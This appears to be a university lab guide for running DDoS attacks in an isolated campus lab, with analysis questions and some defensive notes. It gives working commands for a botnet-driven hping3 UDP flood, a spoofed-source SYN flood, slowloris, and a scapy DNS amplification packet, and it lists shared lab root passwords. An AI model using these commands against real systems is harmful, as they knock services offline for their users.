

---

# Table of Contents

<a href="#">Introduction</a>	1.1
<a href="#">Quick Start</a>	1.2
<a href="#">Grading Scheme and Questions</a>	1.3
<a href="#">Attacks Explained</a>	1.4

# ECE/CPSC 8860 Lab 4 Guide

This document provides a guide to the lab 4 DDoS attacks. This guide includes four chapters including this chapter.

In this chapter, a brief review and lab setup is provided. In the second chapter, a quick start guide is provided for the lab session. The following chapters give detailed explanations and questions about each attack.

## Lab Setup:

- **Very Important!!!**

- Because the bots and the victim are available to all students with the same credential, to avoid conflict and save disk space, please use the corresponding host machine to capture traffic.
- The tables at the end of this chapter show the virtual machines and its corresponding physical machine. You will need this information to modify the example commands provided in the following chapters before execute.

## Topology:

For Charleston student, please remind that the DDoS experiment will be performed on the Clemson campus. The image of the Command and Control Virtual Machine stored on the NAS at 192.168.20.5 has been configured and tested for Charleston campus. Instructions will indicate the command for students at Charleston if that is different from the command executed on Clemson campus.

In this lab, all host machines are connected to the same SDN switch. The routes between each host are configured as a regular switch. The live campus traffic is broadcasted to all hosts.

There is one victim server at 192.168.10.88 hosted on 192.168.10.22

There are plenty of bots available. **They can only be controlled from the CnC VM.** The quick guide will show how to import a preconfigured CnC VM and control the bots.

## Victim:

Host: Host Mac: Victim Guest VM: Guest Mac:

192.168.10.22 f0:4d:a2:ea:30:fd 192.168.10.88 08:00:27:24:9E:BE

## CnC Server:

The CnC server can be run on any machines on both campus. (There might be issue with host machine 192.168.20.15. Avoid if possible.)

The CnC server can be to be imported from the NAS. The CnC VM are configured differently on each campus. Please use your local NAS to download the CnC server. Check quick guide chapter for instructions about how to import the CnC server.

Login credentials:

username: root

password: private123

## Bots:

The bot can be connected only from the CnC server.

Login credentials:

username: root

password: private123

Host: Host Mac: Bot Guest: Guest Mac:

192.168.10.16 f0:4d:a2:e9:9d:59 192.168.10.36 08:00:27:4C:77:E6

192.168.10.18 f0:4d:a2:ea:42:ce 192.168.10.38 08:00:27:1B:3E:D2

192.168.10.19 f0:4d:a2:ea:42:53 192.168.10.39 08:00:27:11:3A:64

192.168.10.20 f0:4d:a2:e9:a3:a9 192.168.10.40 08:00:27:59:10:CA

192.168.10.21 f0:4d:a2:ea:6c:e5 192.168.10.41 08:00:27:02:76:BC

## DNS Servers:

Host: Host Mac: DNS Guest: Guest MAC:

192.168.10.9 f0:4d:a2:ea:42:65 192.168.10.113 08:00:27:4e:e1:d5

## Quick Guide to Four Basic Attacks

In this section, detailed examples will quickly show you how to perform the four types of attack and how to measure the performance of each attack.

- **Important**

- When copy any code, don't copy the following mentioned symbols at the beginning of each line.
- "\$" precedes Linux commands that are typed at a regular user's shell prompt, usually your host machine
- "#" precedes Linux commands that are typed at a root shell prompt, usually in a VM
- ">>>" precedes Python or Scapy commands

### Step 1. Import the Command and Control (CnC) server VM from the NAS:

- The commands in this step should be executed in the host machine.
- Replace the 'username' with your username in the following command.

**First, for any students, login to your accounts and:**

From NAS (192.168.10.5):

Copy KaliDDoS\_CnC.ova to local and import:

```
$ vboxmanage import Kali_DDoS_CnC.ova
```

Once finished, the DDoS CnC server VM will be available in your VirtualBox.  
Now you can start the VM from the VirtualBox.

### Step 2. Exam the availability of the target victim website:

- The commands in this step should be executed in the CnC VM.

Start the CnC VM from VirtualBox. Login theCnC VM using the following credentials:

username: root

password: private123

In the CnC VM, execute the following command in a Terminal in the CnC VM:

```
root@cnc:~# ping 192.168.10.88
```

In the CnC VM, open another Terminal and execute the following command in the newly opened Terminal:

```
root@cnc:~# ./ping_web.sh 192.168.10.88
```

Now you should see the response time of the victim web server.

You could also open a Firefox from your host machine and visit 192.168.10.88. Bear in mind that Firefox might show content from cache when the webpage is not actually available.

- Leave the response time terminal open to keep monitoring the victim server's web page load- time until the last attack finished.

## Step 3. Attacks:

Please note that except the first attack, flood attack, uses all available bots, all the other attacks only use one bot.

To control all bots, use pssh from the CnC VM. Check commands in step 3.1 for example usage.

To control one bot, ssh from the CnC VM to the bot. check commands in step 3.2 for example usage.

### Step 3.1. Flood attack

- The commands in this step should be executed in the CnC VM.

In the CnC VM, execute the following command in a Terminal:

```
root@cnc:~# apt install pssh
root@cnc:~# pssh -h bots.txt -P -t30 'sleep 1; hping3 --udp -d 10000 -p 80 --flood 192
.168.10.88 & sleep 10; pkill hping3'
```

- sleep: Delay for a specified amount of time.
- hping3: Send (almost) arbitrary TCP/IP packets to network hosts.
- --udp: UDP mode.
- -d data size: Set packet body size.

- -p: Set destination port.
- --flood: Sent packets as fast as possible, without taking care to show incoming replies.
- &: Executes the command in the background.
- pkill: Look up or signal processes based on name and other attributes

If the script does not stop after 30 seconds, hit Ctrl + C to stop.

## Step 3.2. SYN Flood attack:

- The commands in this step should be executed in the CnC VM, ssh to a bot VM and attack the victim machine.
- The following steps uses the example of:
  - Host IP: 192.168.10.18
  - Host MAC: f0:4d:a2:ea:42:ce
  - Guest bot VM IP: 192.168.10.38
- Please refer to the lab setup section to replace the IP and MAC address in the example.

### Setp 3.2.1. Check available Bot VM:

The bot VM can only be logged in from a CnC server.

In the CnC VM, execute the following command in a Terminal to check available bot VMs on Clemson campus:

```
root@cnc:~# pssh -h bots.txt -P -t10 'hostname' | grep bot
```

The following example output means a bot VM at 192.168.10.38 is available to attack:

```
192.168.10.38: bot
```

### Step 3.2.2. ssh to a Bot VM from the CnC VM:

Pick any available bot you got in step 4.1. In the following steps, a bot VM with IP 192.168.10.38 running on host 192.168.10.18 will be used as examples.

In the CnC VM, execute the following command in a Terminal to ssh to the bot at 192.168.10.38:

```
root@cnc:~# ssh 192.168.10.38
```

### Step 3.2.3. SYN Flood:

- The commands in this step should be executed in the bot VM ssh from the CnC VM.

Start the SYN flood attack by executing the following command:

```
root@bot38~# hping3 -V -c 100 -d 120 -S -w 64 -p 80 -i u10000 --rand-source 192.168.10.88
```

- -V: Enable verbose output.
- -c count: Stop after sending (and receiving) count response packets.
- -d data size: Set packet body size.
- -S: Set SYN tcp flag.
- -w: Set TCP window size. Default is 64.
- -p: Set destination port.
- -i: Wait the specified number of seconds or micro seconds between sending each packet.
- --rand-source: This option enables the random source mode. hping will send packets with random source address.

If above command doesn't get expected result, change 'count' to a bigger one.

## Step 3.3. Slow HTTP Attack:

- The commands in this step should be executed in the bot VM ssh from the CnC VM.

Start the slowloris attack by executing the following command:

```
root@bot38~# perl slowloris.pl -dns 192.168.10.88
```

Wait for about 3 ~ 5 minutes to see the effect.

Stop this attack by hit Ctrl + C. [Sometimes, you might see the effect on the web page load-time only after stopping the attack.]

## Step 3.4. DNS Amplification Attack:

### Step 3.4.1. Log the attack traffic:

- The commands in this step should be executed in the on the host machine. Replace the 'username' with your username.

First, ssh to the host machine of the bot VM at 192.168.10.18.

Then capture the traffic (original request packets). The mac address in the filter should be the mac address of the host machine 192.168.10.18 (f0:4d:a2:ea:42:ce).

Run flowing commands on host machines:

```
$ ssh 192.168.10.18
$ tshark -c 100 -f 'port 53 and not ether host f0:4d:a2:ea:42:ce' -w {yourname}_bot_log.pcap -F libpcap
```

You can leave this terminal open until the DNS amplification attack finished.

Hit Ctrl + C to stop logging or wait until 100 packets received.

### Step 3.4.2. Log the amplified DNS traffic:

- The commands in this step should be executed on the host machine.

Open another terminal and ssh to the victim server's host machine by (on host machines):

```
$ ssh 192.168.10.22
```

Then capture traffic (amplified traffic) on victim machine (MAC: 08:00:27:24:9 e:be).

```
$ tshark -c 100 -f 'ether host 08:00:27:24:9 e:be ' -w {yourname}_victim_log.pcap -F libpcap
```

You can leave this terminal open until the DNS amplification attack finished.

Hit Ctrl + C to stop logging or wait until 100 packets received.

### Step 3.4.3. DNS Amplification attack:

- The commands in this step should be executed in the on the bot VM ssh from the CnC VM.

Start an interactive scapy session on the bot:

```
root@bot38~# scapy
```


Now you are in an interactive scapy session:

```
Welcome to Scapy (2.2.0)
>>>
```



Execute the following command in the scapy session to launch a DNS amplification attack:

```
>>> send(IP(src="192.168.10.88",dst="192.168.10.113")/UDP(dport=53)/DNS(qd=DNSQR(qname="bighost.cu.ddos"),ar=DNSRR(rrname=".",type=41,rcode=4096,ttl=32768)),count=10,inter=0.01,verbose=False)
```



To exit scapy:

```
>>> exit()
```

Use scp copy pcap files to your account, and do analysis.

This attack might not show change in the web page load-time necessarily for you. But you can analyze the log (pcap) files you created on the victim and the attacker host to compare the traffic. There should be a clear difference between the two .

**Hint: The number of DNS queries and the corresponding number of responses are expected to be different.**

Find other differences in your analysis as well.

In addition to analyzing the traffic on Wireshark, you can also read the file using tshark by running the following command on your machine:

```
tshark -r <filename>
```

You should be able to compare the data of the two files to observe DNS Amplification.

## Grading Scheme

The grading is based on the complexity, the number of combinations and the depth of the analysis of the attacks you choose. There is total of four basic attacks. There are a total number of 15 combinations of the four attacks. Choose at least three combinations to perform the analysis and answering the following questions:

## Questions

Q1 Discuss the difference between each attack combinations you choose.

Q2 For SYN Flood Attack, capture a complete TCP three-way handshake process and explain it in details.

Q3 For DNS Amplification Attack, capture the traffic sent by the attacker and the traffic received by the victim and calculate the amplification ratio.

Q4 For each attack combination, discuss the following questions:

Q4.1 Capture attack traffic and explain its effect on the network and victim node.

Q4.2 Discuss the changes in system availability between before and after the attack.

Q4.3 Discuss the changes in system resource usage between before and after the attack.

## Bot Net

In this lab, a botnet is constructed by a set of Kali Linux VMs deployed on every host machines on the Clemson network. Each Kali VM is configured with SSH passwordless login. The CnC server is also a Kali Linux VM. The CnC server has the public key used to login to each bot. The program pssh installed on the CnC server, or parallel ssh, is used to remotely execute ssh commands on each bot in parallel. By using the CnC server, all attack traffic is launched from the bot. The victim will not be aware the true identity of the CnC server.

You can also write your own attack script, upload to the bots, and use pssh or any method to launch your attack script.

[1] pssh(1 - Linux man page <https://linux.die.net/man/1/pssh>

## Flood Attack

Flood Attack consumes network bandwidth by sending a large number of packets and usually from multiple bots. A flood attack does not necessarily have to be launched directly against the target. As long as one node on the route between a legitimate user and the victim is congested, the legitimate user will not be able to visit the victim node. Under such scenario, the victim will not observe any attack traffic, but the service to the legitimate user is denied. For the configuration we have in the lab, a direct flood attack is much more effective than trying to starve the internal bandwidth of the switch.

[2] hping3 - Linux man page <https://linux.die.net/man/8/hping3>

## SYN Flood

SYN Flood attack takes advantages of the three-way handshake of the TCP connection by sending a large amount of SYN packet but never actually establish any connections. SYN cookie is one of the most commonly used methods to mitigate such attack. However, it is still debating whether it is good to use SYN cookie on heavy loaded servers.

A copy of the victim server is uploaded to the NAS on both campuses. The SYN cookie option can be found in directory /proc/sys/net/ipv4/. Here is a brief description of the parameters under this directory: <https://www.frozentux.net/ipsysctl-tutorial/chunkyhtml/tcpvariables.html> [You can learn to harden the system against SYN attacks by studying about these parameters.]

[3] Overriding the default Linux kernel 20-second TCP socket connect timeout. <http://www.sekuda.com/overriding> the default linux kernel 20 second tcp socket connect timeout [4] Linux: Turn On TCP SYN Cookie Protection. <https://www.cyberciti.biz/faq/enable->

tcp-syn-cookie-protection/. [5] Defenses Against TCP SYN Flooding Attacks - The Internet Protocol Journal - Volume 9, Number 4. <http://www.cisco.com/c/en/us/about/press/internet-protocol-journal/back-issues/table-contents-34/syn-flooding-attacks.html>

## Slow HTTP

The Slow HTTP attack consumes victim webpage server by slowly sending HTTP requests. The HTTP server keeps the connection until all the webserver's resource is consumed. That is why the slowloris attack does not affect at the very beginning but slowly makes the web server stop responding.

[6] Slowloris HTTP DoS

<https://web.archive.org/web/20090822001255/http://hackers.org/slowloris/>

## DNS Amplification Attack

There are many DNS amplification attack tools available on Github. Many of them are written in python with scapy library. However, Scapy is naturally very, very ,very slow. Using scapy to perform DNS amplification attack might works when you have multiple bots and more DNS servers. As a hint, Hping3 is not capable to craft a DNS request packet, but it can be used to replay a crafted DNS payload. You can simply use dig to generate a legitimate DNS packet first, store the DNS payload only, and then send the DNS payload with a spoofed source. By using Hping3, you will see the limit of a DNS server, and why the victim is not been disconnected during an attack. [7] Honeypot DNS and amplification attacks. <http://www.nothink.org/honeypot/dns.php>